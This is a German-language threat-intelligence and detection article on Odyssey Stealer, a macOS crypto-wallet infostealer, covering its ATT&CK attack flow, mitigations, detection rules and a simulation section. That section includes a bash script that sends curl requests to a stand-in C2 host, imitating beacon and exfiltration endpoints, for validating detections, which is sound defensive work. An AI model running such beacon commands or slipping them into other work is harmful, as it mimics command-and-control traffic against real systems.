Odyssey Stealer: Einblick in eine macOS Crypto-Stealing-Operation
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Odyssey Stealer ist ein macOS-Infostealer, der sich auf Kryptowährungswallets und -erweiterungen konzentriert. Er wird als Malware-as-a-Service-Plattform vermarktet, bei der Partner Zugriff auf einen zentralisierten C2 und ein Admin-Panel mieten. Die Bereitstellung erfolgt typischerweise über verschleiertes AppleScript, das einen persistenten LaunchDaemon installiert, der den C2 nach Befehlen abfragt. Der Betreiber kann auch legitime Ledger- und Trezor-Apps durch trojanisierte Builds ersetzen, um Anmeldedaten und Transaktionsdaten zu erfassen.
Untersuchung
Forscher haben den C2 mit einzigartigen HTML-Meta-Tags, Seitenkörper-Hashes und einem gemeinsamen Favicon-Hash identifiziert. Sie kartierten zehn physische Hosts über mehrere ASN-Cluster hinweg, hauptsächlich in Europa und den Niederlanden. Die Zerlegung der Nutzlast ergab einen mehrstufigen AppleScript-Dropper, LaunchDaemon-Persistenz und eine in Go kompilierte SOCKS5-Proxy-Binärdatei. In den Dropper eingebettete Konfigurationsdaten enthüllten Partnerkennungen und Build-IDs.
Minderung
Achten Sie auf verdächtige osascript-Aktivitäten, insbesondere lange verschleierte Zeichenfolgen, unbekannte LaunchDaemon-Plist-Dateien mit zufälligen Bezeichnungen und ausgehende POST-Anfragen an „/log“-Endpunkte. Alarmieren Sie bei von LaunchDaemon erzeugten Binärdateien und verdächtigen SOCKS5-Aktivitäten. Überprüfen Sie die Code-Signatur für Ledger- und Trezor-Anwendungen und blockieren Sie bekannte C2-Domains und IP-Adressen. Schulen Sie Benutzer darin, unerwartete Passwortabfragen und „Wallet-Updates“ als hohes Risiko zu betrachten.
Reaktion
Bei Erkennung das System isolieren, den bösartigen LaunchDaemon beenden und trojanisierte Wallet-Anwendungen entfernen. Netzwerkverkehr zu den identifizierten C2-Domains und IPs erfassen zur Untersuchung, dann offengelegte Kryptowährungs-Anmeldeinformationen zurücksetzen und macOS-Passwörter wechseln. Eine vollständige forensische Überprüfung durchführen, um zusätzliche Artefakte zu identifizieren.
„graph TB %% Class definitions classDef action fill:#99ccff %% Node definitions action_initial_access_phishing[„<b>Aktion</b> – <b>T1566 Phishing</b>: Bösartiger Link per E-Mail oder Malvertising zugestellt<br/><b>Beschreibung</b>: Angreifer erlangt ersten Zugang, indem er den Benutzer dazu bringt, auf einen Link zu klicken.“] class action_initial_access_phishing action action_user_execution_malicious_link[„<b>Aktion</b> – <b>T1204.001 Benutzer Ausführung: Bösartiger Link</b>: Opfer klickt auf den Link und startet einen AppleScript-Dropper<br/><b>Beschreibung</b>: Code-Ausführung erfolgt nach Benutzerinteraktion.“] class action_user_execution_malicious_link action action_execution_obfuscation[„<b>Aktion</b> – <b>T1027 Verschleierte Dateien oder Informationen</b>: Verschleierte AppleScript-Nutzlast über osascript ausgeführt<br/><b>Beschreibung</b>: Verbirgt bösartigen Code, um der Erkennung zu entgehen.“] class action_execution_obfuscation action action_cred_gui_capture[„<b>Aktion</b> – <b>T1056.002 Eingabeerfassung: GUI</b>: Gefälschtes macOS-Passwortdialog erfasst Admin-Anmeldedaten<br/><b>Beschreibung</b>: Stiehlt Anmeldedaten durch Benutzeroberflächen-Spoofing.“] class action_cred_gui_capture action action_cred_browser_stores[„<b>Aktion</b> – <b>T1555.003 Anmeldedaten von Webbrowsern</b>: Extrahiert Cookies, Passwörter und Kryptowallet-Daten aus Chrome, Edge und Firefox<br/><b>Beschreibung</b>: Erntet gespeicherte Web-Anmeldedaten.“] class action_cred_browser_stores action action_cred_keychain[„<b>Aktion</b> – <b>T1555.005 Anmeldedaten von Passwortmanagern</b>: Liest gespeicherte Passwörter aus dem macOS-Schlüsselbund<br/><b>Beschreibung</b>: Greift auf Passwortmanager-Daten zu.“] class action_cred_keychain action action_cred_securityd[„<b>Aktion</b> – <b>T1555.002 Anmeldedaten aus Securityd-Speicher</b>: Erntet den Speicher des securityd-Prozesses für Anmeldedaten<br/><b>Beschreibung</b>: Ruft Anmeldematerial aus Prozessspeicher ab.“] class action_cred_securityd action action_priv_esc_valid_accounts[„<b>Aktion</b> – <b>T1078 Gültige Konten</b>: Nutzt erfasstes Admin-Passwort zur Erlangung erweiterter Rechte<br/><b>Beschreibung</b>: Erlangt höhere Berechtigungen mit legitimen Anmeldedaten.“] class action_priv_esc_valid_accounts action action_persistence_launchdaemon[„<b>Aktion</b> – <b>T1543.004 Launch Daemon</b>: Installiert com.random.plist LaunchDaemon für periodisches C2-Polling<br/><b>Beschreibung</b>: Besteht fort, indem ein Launch Daemon erstellt wird.“] class action_persistence_launchdaemon action action_discovery_browser[„<b>Aktion</b> – <b>T1217 Browser-Informationsentdeckung</b>: Listet installierte Browser und Wallet-Erweiterungen auf<br/><b>Beschreibung</b>: Sammelt Informationen über die Browsing-Umgebung des Opfers.“] class action_discovery_browser action action_collection_archive[„<b>Aktion</b> – <b>T1560 Gesammelte Daten archivieren</b>: Komprimiert gestohlene Dateien in ein ZIP-Archiv<br/><b>Beschreibung</b>: Verpackt Daten zur Exfiltration.“] class action_collection_archive action action_exfil_automated[„<b>Aktion</b> – <b>T1020 Automatisierte Exfiltration</b>: POSTt das ZIP-Archiv an den /log-Endpunkt<br/><b>Beschreibung</b>: Sendet gesammelte Daten über HTTP.“] class action_exfil_automated action action_c2_webservice[„<b>Aktion</b> – <b>T1102 Webdienst</b>: Kommuniziert mit C2 unter Verwendung von HTTP GET- und POST-Endpunkten<br/><b>Beschreibung</b>: Nutzt Webdienste für Kommando und Kontrolle.“] class action_c2_webservice action action_c2_dead_drop[„<b>Aktion</b> – <b>T1102.001 Dead Drop Resolver</b>: Ruft Nutzlasten von /d/… URLs ab<br/><b>Beschreibung</b>: Verwendet einen toten Abwurfstandort, um Befehle zu erhalten.“] class action_c2_dead_drop action action_c2_external_proxy[„<b>Aktion</b> – <b>T1090.002 Externer Proxy</b>: Lädt einen in Go compilierten SOCKS5-Proxy herunter und führt ihn für den Traffic-Tunneling aus<br/><b>Beschreibung</b>: Leitet C2-Verkehr über einen externen Proxy.“] class action_c2_external_proxy action %% Connections action_initial_access_phishing u002du002d>|führt zu| action_user_execution_malicious_link action_user_execution_malicious_link u002du002d>|löst aus| action_execution_obfuscation action_execution_obfuscation u002du002d>|ermöglicht| action_cred_gui_capture action_cred_gui_capture u002du002d>|liefert| action_cred_browser_stores action_cred_browser_stores u002du002d>|fügt hinzu| action_cred_keychain action_cred_keychain u002du002d>|fügt hinzu| action_cred_securityd action_cred_securityd u002du002d>|gibt| action_priv_esc_valid_accounts action_priv_esc_valid_accounts u002du002d>|erlaubt| action_persistence_launchdaemon action_persistence_launchdaemon u002du002d>|ermöglicht| action_discovery_browser action_discovery_browser u002du002d>|versorgt| action_collection_archive action_collection_archive u002du002d>|bereitet vor| action_exfil_automated action_exfil_automated u002du002d>|nutzt| action_c2_webservice action_c2_webservice u002du002d>|verwendet| action_c2_dead_drop action_c2_dead_drop u002du002d>|unterstützt| action_c2_external_proxy „
Angriffsfluss
Erkennung
MacOS-Shell archiviert Anwendungsunterstützungsdaten (via cmdline)
Ansehen
MacOS Osascript erzeugt Curl (via cmdline)
Ansehen
MacOS-Shell schreibt in LaunchDaemons-Verzeichnis (via file_event)
Ansehen
IOCs (SourceIP) zur Erkennung: Odyssey Stealer: Binnen einer macOS-Krypto-Diebstahl-Operation
Ansehen
IOCs (DestinationIP) zur Erkennung: Odyssey Stealer: Binnen einer macOS-Krypto-Diebstahl-Operation
Ansehen
IOCs (HashSha256) zur Erkennung: Odyssey Stealer: Binnen einer macOS-Krypto-Diebstahl-Operation
Ansehen
IOCs (HashMd5) zur Erkennung: Odyssey Stealer: Binnen einer macOS-Krypto-Diebstahl-Operation
Ansehen
Odyssey Stealer C2-Endpunkt-Erkennung [Webserver]
Ansehen
Odyssey Stealer: Erkennung von verschleiertem AppleScript und Curl-Nutzung [Linux Prozess-Erstellung]
Ansehen
Simulation Ausführung
Voraussetzung: Die Telemetrie- & Basislinien-Vorabüberprüfung muss bestanden sein.
-
Angriffserzählung & Befehle:
Ein Angreifer hat den Odyssey Stealer auf einem macOS-Arbeitsplatz eingesetzt. Nachdem der Benutzer kompromittiert wurde, initiiert die Malware ein Signal an ihren C2-Server, um zusätzliche Nutzlasten herunterzuladen und gesammelte Daten zu exfiltrieren. Das Signal verwendet den nativencurlBinary (von Apple signiertes Binary), um HTTP GET-Anfragen an die in der Regel definierten C2-Endpunkte zu stellen. Der Angreifer wählt diese spezifischen URI-Pfade, da sie kurz sind, sich in den normalen Webverkehr einfügen und von allgemeinen URL-Filterlösungen nicht erkannt werden.Schritte:
- Lösen Sie den C2-Hostnamen auf (simuliert als
c2.odyssey.example.com). - Führen Sie eine GET-Anfrage an
/d/aff123456– ahmt den Daten-Exfiltration-Endpunkt mit einem zufälligen Partnercode und numerischem Token nach. - Führen Sie eine GET-Anfrage an
/api/v1/bot/– simuliert Bot-Management-Heartbeat. - Optional können Sie eine Anfrage an
/logsenden, um den internen Protokollierungsverkehr zu emulieren, den die Malware für Statusmeldungen verwendet.
- Lösen Sie den C2-Hostnamen auf (simuliert als
-
Regressionstest-Skript: Das folgende Bash-Skript reproduziert den genauen Verkehr, der zur Auslösung der Erkennungsregel erforderlich ist.
#!/usr/bin/env bash # Odyssey Stealer C2 Beacon-Simulation für Erkennungsvalidierung # Anforderungen: curl, Netzwerk-Proxy wie in den Vorab-Schritten konfiguriert C2_HOST="c2.odyssey.example.com" PROXY_HOST="127.0.0.1:3128" # Ihrer Squid-Proxy-Adresse anpassen # Funktion zum Senden einer Anfrage über den Proxy send_request() { local path=$1 echo "[*] Anfrage senden an https://${C2_HOST}${path} über Proxy ${PROXY_HOST}" curl -x "$PROXY_HOST" -s -o /dev/null "https://${C2_HOST}${path}" } # 1. Datenexfiltrations-Endpunkt (zufälliger Partner + Ziffern) AFFILIATE="aff$(shuf -i 1000-9999 -n 1)" DIGITS=$(shuf -i 10000-99999 -n 1) send_request "/d/${AFFILIATE}${DIGITS}" # 2. Bot-Management-Heartbeat send_request "/api/v1/bot/" # 3. Optionaler Protokollierungsendpunkt send_request "/log" echo "[+] Simulation abgeschlossen. Überprüfen Sie Alarme im SIEM."Speichern Sie das Skript als
odyssey_beacon.sh, machen Sie es ausführbar (chmod +x odyssey_beacon.sh), und führen Sie es auf dem macOS-Testhost aus. -
Bereinigungsbefehle: Entfernen Sie alle temporären Dateien und deaktivieren Sie optional den Proxy für den Testbenutzer.
# Deaktivieren Sie die Proxy-Einstellungen für die Wi-Fi-Schnittstelle networksetup -setwebproxystate "Wi-Fi" off networksetup -setsecurewebproxystate "Wi-Fi" off # (Optional) Stoppen Sie Squid, wenn es nur für diesen Test gestartet wurde # brew services stop squid echo "Proxy-Einstellungen wiederhergestellt und Squid (falls zutreffend) gestoppt."